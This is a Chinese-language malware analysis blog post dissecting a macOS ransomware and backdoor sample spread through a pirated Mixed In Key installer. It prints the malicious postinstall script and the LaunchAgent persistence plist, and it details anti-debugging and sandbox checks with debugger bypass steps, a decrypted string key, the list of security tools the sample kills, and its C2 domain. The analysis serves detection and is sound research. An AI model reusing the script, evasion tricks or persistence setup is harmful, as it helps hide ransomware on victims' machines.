背景
今天早些时候,著名的恶意软件研究人员Dinesh Devadoss在推特上发布了一篇关于MacOS勒索软件的新推文,表示这是一种冒充Google软件更新程序的新型恶意软件。
MacOS平台的勒索比较少,但在此新型勒索开始出现时,RansomWhere表示他们可以很好的进行检测。所以我也准备分析分析该勒索,并且看看我的工具能够检测该勒索软件。
感染载体
从Dinesh的推文中还暂时看不出来该勒索软件是如何感染macOS用户的。但是Malwarebytes的Thomas Reed指出该恶意软件是在流行torrent网站上共享的盗版macOS软件中发现的。
这是一种非常常见但是并不复杂的感染方式,目前有很多恶意软件都是通过这种方式进行传播。macOS恶意软件通过Torrent感染传播的其他示例包括:
Intego研究人员发现OSX / Shlayer通过BitTorrent文件共享站点传播,当用户尝试选择链接来复制torrent磁铁链接时,它显示为伪造的Flash Player更新。
我们今天将要分析的样本打包在流行的DJ软件Mixed In Key(盗版)中,恶意软件未签名:
这意味着该软件在运行前MacOS将会弹框以获得用户的允许:
但是,使用盗版软件的macOS用户可能会忽略此警告并继续运行导致mac被感染。
分析
和上面讲的一样,该勒索软件是通过木马安装程序分发的。我们将深入研究的样本是通过名为Mixed In Key 8.dmg(SHA1: 98040c4d358a6fb9fed970df283a9b25f0ab393b)的磁盘映像分发的。
当前,该磁盘映像尚未由VirusTotal上的任何防病毒引擎标记(尽管随着AV引擎更新其签名数据库,这可能会更改
我们可以通过hdiutil挂载该磁盘映像:
$ hdiutil attach ~/Downloads/Mixed In Key 8.dmg
/dev/disk2 GUID_partition_scheme
/dev/disk2s1 Apple_APFS
/dev/disk3 EF57347C-0000-11AA-AA11-0030654
/dev/disk3s1 41504653-0000-11AA-AA11-0030654 /Volumes/Mixed In Key 8
挂载的磁盘映像(’/ Volumes / Mixed In Key 8 /‘)包含一个安装程序包Mixed In Key 8.pkg:
$ ls /Volumes/Mixed In Key 8/
Mixed In Key 8.pkg
我最喜欢的用于静态分析软件包(并从中提取文件)的工具是Suspicious Package
在使用Suspicious Package加载恶意软件之后,我们找到了(盗版的)Mixed In Key 8应用程序和名为”patch”的二进制文件:
单击“安装”选项卡后,我们找到安装后脚本:
#!/bin/sh
mkdir /Library/mixednkey
mv /Applications/Utils/patch /Library/mixednkey/toolroomd
rmdir /Application/Utils
chmod +x /Library/mixednkey/toolroomd
/Library/mixednkey/toolroomd &
很明显 ,在创建/Library/mixednkey目录后,程序会将一个二进制文件patch移动到该目录中,将其设置为可执行文件,然后启动它。
当安装程序在安装过程中请求root特权时,此脚本(以及toolroomd二进制文件)也将以root特权运行:
使用Suspicious Package我们可以同时对Mixed In Key 8应用程序和名为patch的二进制文件进行分析。由于Mixed In Key 8二进制文件仍然包含了开发人员的有效签名,因此它很可能是原始的且未经修改:
因此,我们将注意力转向toolroomd二进制文件。
toolroomd(原名为patch)是一个Mach-O格式的64位可执行应用程序。
$ file patch
patch: Mach-O 64-bit executable x86_64
$ codesign -dvv patch
patch: code object is not signed at all
$ shasum -a1 patch
efbb681a61967e6f5a811f8649ec26efe16f50ae patch
接下来,我们通过strings命令获取该应用程序的字符串:
$ string - patch
2Uy5DI3hMp7o0cq|T|14vHRz0000013
0ZPKhq0rEeUJ0GhPle1joWN30000033
0rzACG3Wr||n1dHnZL17MbWe0000013
system.privilege.admin
%s --reroot
--silent
--noroot
--ignrp
_generate_xkey
/toidievitceffe/libtpyrc/tpyrc.c
bits <= 1024
_get_process_list
/toidievitceffe/libpersist/persist.c
[return]
[tab]
[del]
[esc]
[right-cmd]
[left-cmd]
[left-shift]
[caps]
[left-option]
从strings输出中,我们找到了一些混淆的字符串、一些命令行参数,加密关键字和与keylogging相关的字符串。
通过nm指令,我们可以转储符号的名称(包括函数名称):
nm patch
U _CGEventGetIntegerValueField
U _CGEventTapCreate
U _CGEventTapEnable
U _NSAddressOfSymbol
U _NSCreateObjectFileImageFromMemory
U _NSDestroyObjectFileImage
U _NSLinkModule
U _NSLookupSymbolInModule
U _NSUnLinkModule
U _NXFindBestFatArch
0000000100002900 T __construct_plist_path
000000010000a7e0 T __dispatch
0000000100009c20 T __ei_init_crc32_tab
000000010000b490 T __ei_rootgainer_elevate
00000001000061c0 T __generate_xkey
000000010000a550 T __get_host_identifier
0000000100007c40 T __get_process_list
00000001000094d0 T __home_stub
000000010000e0c0 T __is_target
000000010000ecb0 T __make_temp_name
0000000100000000 T __mh_execute_header
0000000100004910 T __pack_trailer
000000010000a170 T __react_exec
000000010000a160 T __react_host
000000010000a470 T __react_keys
000000010000a500 T __react_ping
000000010000a300 T __react_save
0000000100009e80 T __react_scmd
000000010000a460 T __react_start
00000001000072d0 T __rotate
00000001000068a0 T __tp_decrypt
0000000100006610 T __tp_encrypt
00000001000049c0 T __unpack_trailer
0000000100002550 T _acquire_root
U _connect
00000001000085a0 T _create_rescue_executable
000000010000ba50 T _ei_carver_main
0000000100001590 T _ei_forensic_sendfile
0000000100001680 T _ei_forensic_thread
0000000100005b00 T _ei_get_host_info
0000000100006050 T _ei_get_macaddr
000000010000b9b0 T _ei_loader_main
000000010000c9a0 T _ei_loader_thread
0000000100009650 T _ei_pers_thread
000000010000b880 T _ei_persistence_main
0000000100001c30 T _ei_read_spot
000000010000b580 T _ei_rootgainer_main
0000000100003670 T _ei_run_file
0000000100003790 T _ei_run_memory_hrd
0000000100009550 T _ei_run_thread
0000000100001a10 T _ei_save_spot
000000010000b710 T _ei_selfretain_main
000000010000de60 T _eib_decode
000000010000dd40 T _eib_encode
000000010000dc40 T _eib_pack_c
000000010000e010 T _eib_secure_decode
000000010000dfa0 T _eib_secure_encode
0000000100013660 D _eib_string_fa
0000000100013708 S _eib_string_key
000000010000dcb0 T _eib_unpack_i
0000000100007570 T _eip_decrypt
0000000100007310 T _eip_encrypt
0000000100007130 T _eip_key
00000001000071f0 T _eip_seeds
0000000100007aa0 T _is_debugging
0000000100007bc0 T _is_virtual_mchn
0000000100002dd0 T _lfsc_dirlist
00000001000032c0 T _lfsc_get_contents
000000010000fa50 T _lfsc_match
00000001000033e0 T _lfsc_pack_binary
000000010000f720 T _lfsc_parse_template
0000000100003500 T _lfsc_unpack_binary
0000000100008810 T _persist_executable
0000000100008df0 T _persist_executable_frombundle
U _popen
0000000100007c20 T _prevent_trace
拨云雾而见青天,通过nm的输出,我们看到了与以下内容相关的方法和函数名:
1. keylogging相关,如_CGEventTapCreate、_CGEventTapEnable等。
2. 内存代码执行相关,如_NSCreateObjectFileImageFromMemory、_NSLinkModule等。
3. 反调试相关,如_is_debugging、_is_virtual_mchn等。
4. 反检测相关,如__get_host_identifier、__get_process_list等。
5. 本地持久化,如_persist_executable、_persist_executable_frombundle等。
6. 加密,勒索相关,如_eip_encrypt。
这似乎并不是一个”简单的勒索软件”
该对patch程序进行调试了。
toolroomd(patch)二进制文件的核心逻辑发生在其主要功能内。
在检查了各种命令行参数(—silent,—noroot和—ignrp)之后,它执行一个名为is_virtual_mchn的函数,如果返回true则退出:
if(is_virtual_mchn(0x2) != 0x0) {
exit();
}
让我们仔细分析一下这个函数,因为我们要使其不检测虚拟机中的调试会话:
int _is_virtual_mchn(int arg0) {
var_10 = time();
sleep(argO);
rax = time();
rdx = 0x0;
if (rax - var_10 < arg0) {
rdx = 0x1;
}
rax = rdx;
return rax;
}
该代码调用time两次,中间插入一个sleep……然后比较两个调用之间的差异是否与time系统睡眠的时间相匹配。通过这种方式就可以判断patch是否运行在沙箱中:
睡眠修补程序沙盒将修补睡眠功能,以试图克服使用时间延迟的恶意软件。作为响应,恶意软件将检查时间是否已加速。恶意软件将获取时间戳,进入睡眠状态,然后在唤醒时再次获取时间戳。时间戳记之间的时间差应与恶意软件被编程为休眠的时间长度相同。如果不是,则该恶意软件会知道它正在修补睡眠功能的环境中运行,这只会在沙箱中发生
这意味着,实际上,该功能更多是沙箱检查,并且可能无法检测到虚拟机。对于我们的调试工作而言,这是个好消息!
接下来,该恶意软件调用了一个名为extract_ei的方法,该方法尝试从自身的尾部读取0x20字节的数据,但是,由于unpack_trailer(由extract_ei调用)函数在对0DEADFACEh检查的时候返回了false。因此该样本中似乎并不存在符合的尾部数据。
;rcx: trailer data
__text:0000000100004A39 cmp dword ptr [rcx+8], 0DEADFACEh
__text:0000000100004A40 mov [rbp+var_38], rax
__text:0000000100004A44 jz leave
在没有找到预定义数据的情况下,该样本跳过了某些持久性逻辑……看起来像是在保留一个守护程序的逻辑:
;rcx: trailer data
if (extract_ei(*var_10, &var_40) != 0x0) {
_persist_executable_frombundle(var_48, var_40, var_30, *var_10);
_install_daemon(var_30, _ei_str("0hC|h71FgtPJ32afft3EzOyU3xFA7q0{LBx..."),
_ei_str("0hC|h71FgtPJ19|69c0m4GZL1xMqqS3kmZbz3FWvlD..."), 0x1);
var_50 = _ei_str("0hC|h71FgtPJ19|69c0m4GZL1xMqqS3kmZbz3FWvlD1m6d3j0000073");
var_58 = _ei_str("20HBC332gdTh2WTNhS2CgFnL2WBs2l26jxCi0000013");
var_60 = _ei_str("1PbP8y2Bxfxk0000013");
...
_run_daemon_u(var_50, var_58, var_60);
...
_run_target(*var_10);
}
程序混淆了我们感兴趣的各种值(例如守护程序的名称/路径)。但是,看起来_ei_str函数负责去模糊处理:
查看它的反编译,我们看到一个名为_eib_string_key的变量的一次性初始化,然后调用名为_eib_secure_decode的函数(它调用了名为_tpdcrypt的方法):
int _ei_str(int arg0) {
var_10 = arg0;
if (*_eib_string_key == 0x0) {
*_eib_string_key = _eip_decrypt(_eib_string_fa, 0x6b8b4567);
}
var_18 = 0x0;
rax = strlen();
rax = _eib_secure_decode(var_10, rax, *_eib_string_key, &var_18);
var_20 = rax;
if (var_20 == 0x0) {
var_8 = var_10;
}
else {
var_8 = var_20;
}
rax = var_8;
return rax;
}
通常,我们不必担心去混淆(或解密)算法的细节,因为我们可以简单地在函数末尾设置调试器断点,并打印出纯文本字符串(通常解密之后的值会存放在eax中)。
但是至少让我们转储解密密钥(_eib_string_key):
(lldb) x/s $rdx
0x1001004c0: "PPK76!dfa82^g"
由于该样本貌似不包含预定义的数据,因此将跳过此特定代码块……但是,该恶意软件随后调用了一个名为_ei_persistence_main(也可以持久化该恶意软件)的函数。
在执行在持久化之前操作之前,_ei_persistence_main会执行各种反调试操作以防止动态调试。具体来说,它首先调用一个名为is_debugging的函数。is_debugging方法在地址0000000100007AA0处实现。此外,程序还通过CTL_KERN、KERN_PROC、KERN_PROC_PID和getpid()等函数判断是否在调试环境中。一旦获取到返回,程序将检查P_TRACED 是否被设置,这是一种很常见的反调试检测思路。
如果is_debugging函数返回1(true),则恶意软件将退出:
__text:000000010000B89A call _is_debugging
__text:000000010000B89F cmp eax, 0
__text:000000010000B8A2 jz continue
__text:000000010000B8A8 mov edi, 1
__text:000000010000B8AD call _exit
想要在调试器中绕过它,我们只需要在0x000000010000B89F处设置断点,然后将RAX寄存器的值更改为0(false):
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
-> 0x10000b89f: cmpl $0x0, %eax
0x10000b8a2: je 0x10000b8b2
0x10000b8a8: movl $0x1, %edi
0x10000b8ad: callq 0x10000feb2
Target 0: (patch) stopped.
(lldb) reg read $rax
rax = 0x0000000000000001
(lldb) reg write $rax 0
(lldb) c
但是!该恶意软件的反调试不止这一处,程序还通过_prevent_trace函数进行反调试检测:
__text:0000000100007C20 _prevent_trace proc near
__text:0000000100007C20 push rbp
__text:0000000100007C21 mov rbp, rsp
__text:0000000100007C24 call _getpid
__text:0000000100007C29 xor ecx, ecx
__text:0000000100007C2B mov edx, ecx ; addr
__text:0000000100007C2D xor ecx, ecx ; data
__text:0000000100007C2F mov edi, 1Fh ; request
__text:0000000100007C34 mov esi, eax ; pid
__text:0000000100007C36 call _ptrace
__text:0000000100007C3B pop rbp
__text:0000000100007C3C retn
__text:0000000100007C3C _prevent_trace endp
要绕过这一点,我们只需避免调用_prevent_trace,我们可以在调用这个函数时设置一个断点,然后修改指令指针(RIP)的值跳过它!
(lldb) b 0x000000010000B8B2
Breakpoint 12: where = patch`patch[0x000000010000b8b2], address = 0x000000010000b8b2
(lldb) c
Process 683 resuming
Process 683 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
-> 0x10000b8b2: callq 0x100007c20
0x10000b8b7: leaq 0x7de2(%rip), %rdi
0x10000b8be: movl $0x8, %esi
0x10000b8c3: movl %eax, -0x38(%rbp)
Target 0: (patch) stopped.
(lldb) reg write $rip 0x10000b8b7
(lldb) c
十分简单!现在,我们可以不受干扰地继续进行动态分析。
顾名思义,ei_persistence_main可实现恶意软件的持久化,但是,在进行持久化之前,它会调用一个名为kill_unwanted杀死所有可能检测或阻止恶意行为的知名安全产品的函数。
kill_unwanted函数获取正在运行的进程的列表,将每个进程与“不需要的”程序的加密列表进行比较。使用前面提到的ei_str函数断点,我们可以转储解密的字符串,以确定“不需要的”程序的值:
(lldb) x/s $rax
0x100108fd0: "Little Snitch"
(lldb) x/s $rax
0x100100880: "Kaspersky"
(lldb) x/s $rax
0x1001028a0: "Norton"
(lldb) x/s $rax
0x10010a2f0: "Avast"
(lldb) x/s $rax
0x10010a300: "DrWeb"
(lldb) x/s $rax
0x100102eb0: "Mcaffee"
(lldb) x/s $rax
0x100109d20: "Bitdefender"
(lldb) x/s $rax
0x100109d30: "Bullguard"
我相信有一天,Objective-See的工具会列出这样的清单!哈哈!
最终,ei_persistence_main执行,成功实现恶意软件的本地持久化。我们可以通过文件监视器和/或在调试器中观察到这一点。
首先,我们观察到恶意软件解密了与持久性相关的各种字符串:
(lldb) x/s $rax
0x100118fd0: "/Library/AppQuest/com.apple.questd"
(lldb) x/s $rax
0x1001190f0: "%s/Library/AppQuest/com.apple.questd"
文件监视器(例如macOS的fs_usage)显示了恶意软件向其写入二进制文件~/Library/AppQuest/com.apple.questd,然后创建启动代理属性列表以保留该二进制文件:
# fs_usage -w -f filesystem
open ~/Library/AppQuest/com.apple.questd
...
chmod ~/Library/AppQuest/com.apple.questd
...
WrData[A] ~/Library/LaunchAgents/com.apple.questd.plist
com.apple.questd只是恶意软件的一个副本,我们可以通过com.apple.questd.plist的内容发现一些有趣的东西:
x/s $rax
0x100119540: "<?xml version="1.0" encoding="UTF-8"?>n<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">n<plist version="1.0">n<dict>n<key>Label</key>n<string>%s</string>nn<key>ProgramArguments</key>n<array>n<string>%s</string>n<string>--silent</string>n</array>nn<key>RunAtLoad</key>n<true/>nn<key>KeepAlive</key>n<true/>nn</dict>n</plist>"
比如填充com.apple.questd二进制文件的完整路径:
cat /Users/user/Library/LaunchAgents/com.apple.questd.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>questd</string>
<key>ProgramArguments</key>
<array>
<string>/Users/user/Library/AppQuest/com.apple.questd</string>
<string>--silent</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
</dict>
由于RunAtLoad密钥设置为true恶意软件(现在称为com.apple.questd),因此每次用户登录时都会自动重新启动。
当然BlockBlock会检测到这种持久性尝试
一旦确定恶意软件能够持久存在,它似乎就会对其进行复制(复制到~/Library/.9W4S5dtNK,并附带一个预定义数据:
通过流程监视器,我们可以观察到恶意软件,然后通过launchctl submit -l 命令启动此副本:
[procInfo] process start:
pid: 737
path: /bin/launchctl
user: 501
args: (
launchctl,
submit,
"-l",
questd,
"-p",
"/Users/user/Library/.9W4S5dtNK"
)
[procInfo] process start:
pid: 738
path: /Users/user/Library/.9W4S5dtNK
user: 0
...
注意:
该恶意软件也可能会继续存在于/ Library / mixnkey / toolroomd
因此,现在该恶意软件已经持久存在并启动了自身的新配置(即带有“trailer”数据)实例。现在样本可以实现很多功能了:
首先,它将开始加密用户的文件。具体来说,它调用一个名为carve_target的函数,该函数通过eip_encrypt对文件进行加密。文件加密完成后,它将创建一个文本文件,名称READ_ME_NOW为勒索提示我文件:
为确保用户读取此文件,它显示以下模式提示符,并通过macOS内置的“语音”功能大声朗读它:
幸运的是RansomWhere可以检测到该勒索病毒。
该恶意软件还会查找一些有趣的文件,例如
“wallet.pdf”
“wallet.png”
“key.png”
“*.p12”
此外,它还调用一个名为eilfrglk_watch的函数,通过CGEventTapCreate Apple API启动一个键盘记录器。
另外,一个名为dispatch(位于address 0x000000010000A7E0)的函数似乎可以处理来自命令和控制服务器(andrewka6.pythonanywhere.com)的任务。这些任务包括:
1. 执行命令
2. 启动键盘记录器
3. 直接在内存中执行模块
最后,如果满足某些先决条件,恶意软件也可能尝试创建反向shell。
有了这些功能,攻击者就可以完全控制受感染的主机!
结论
今天,我们对一个有趣的新恶意软件进行了分析-详细介绍了其持久性和功能。
尽管是新的,但我们的(免费!)工具,例如BlockBlock和RansomWhere能够在没有分析的情况下检测并阻止此类的攻击。
IOC
/Library/mixednkey/toolroomd
~/Library/AppQuest/com.apple.questd
~/Library/LaunchAgents/com.apple.questd.plist
发表评论
您还未登录,请先登录。
登录